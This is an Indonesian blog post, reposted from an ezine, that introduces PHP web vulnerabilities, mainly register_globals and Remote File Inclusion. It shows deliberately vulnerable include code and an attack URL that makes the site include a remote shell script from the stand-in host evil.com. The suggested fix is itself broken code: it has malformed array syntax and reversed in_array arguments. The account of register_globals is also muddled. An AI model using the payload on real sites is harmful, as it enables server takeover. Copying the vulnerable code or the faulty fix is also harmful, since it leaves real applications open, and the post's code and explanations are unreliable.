Rabu, 04 April 2012

== Pengenalan Celah keamanan pada Aplikasi Web berbasis PHP  ==

Pendahuluan PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak 
di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : 
http://php.net). PHP menjadi “ladang� pengaplikasian berbagai variabel yang ada dalam script secara 
autoglobal oleh programer dan juga menjadi “ladang� attacking para attacker karena PHP memiliki 
fasilitas autoglobal pada beberapa variabel :p

GET and POST Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang 
ada dalam PHP. variabel register_global yang tersetting “on� pada file php.ini berfungsi untuk 
membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on 
maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun 
harus di definisikan secara spesifik. seperti ini lah contoh script php nya :

----------------------------------------------------------------------- 
<?php 
echo $_POST['newhack']; //variabel newhack dikirim dengan methode POST 
?> 
-----------------------------------------------------------------------

dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang 
dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, 
pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal 
pengamanan.

Parameter Include Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti 
berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel 
seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh 
autoglobal itu sendiri.

saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote 
File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote 
web/server si target. contoh script PHP :

-----------------------------------------------------------------------
<?php
$file =$_GET['page']; // contoh kita akan menginclude file galeri.php
include($file);
?>
-----------------------------------------------------------------------

tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page'];

http://www.site.com/index.php?page=galeri.php

maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini

http://www.site.com/index.php?page=http://www.evil.com/r57.txt?

dan bila kita lihat source codenya akan menjadi seperti ini :

-----------------------------------------------------------------------
<?php
$file =�http://www.evil.com/r57.txt?�; / /$_GET['page'];
include($file);
?>
-----------------------------------------------------------------------

script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, 
awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude 
(memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi 
yang sama terdapat pada include_once(), require(), require_once(). solusi dari bug ini sebenarnya 
sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan 
file yang sah di include ke array. contoh script seperti ini :

-----------------------------------------------------------------------
$file_valid = new array(“index�,�galeri�,�profil�);
$file = $_GET['page'];
if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file
-----------------------------------------------------------------------

proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu 
code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker 
(www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file 
di ganti value (redirect) ke file index.php

Penutup Sebenarnya masih banyak lagi celah-celah keamanan pada aplikasi web berbasis PHP. dari 
mulai proses input query database, system(), passthry(), shellexec(), exec() dan lain-lain. atau 
pada database seperti MySQL, bug dijalankan melalui perintah-perintah yang bisa kita inputkan di 
web browser. tapi dalam artikel ini saya hanya mengenalkan beberapa celah keamanan yang cukup 
diperhitungkan kondisinya.

Refrensi
http://www.php.net
http://www.google.com (dork : security php)
http://www.go4expert.com/forum
KEAMANAN PADA APLIKASI WEB DENGAN PHP oleh ABD. THALIB
Dan lain-lain (lupa)
sumber: http://ezine.omega.or.id/2/pengenalan-celah-keamanan-pada-aplikasi-Web-berbasis-PHP.txt

Tidak ada komentar:

Posting Komentar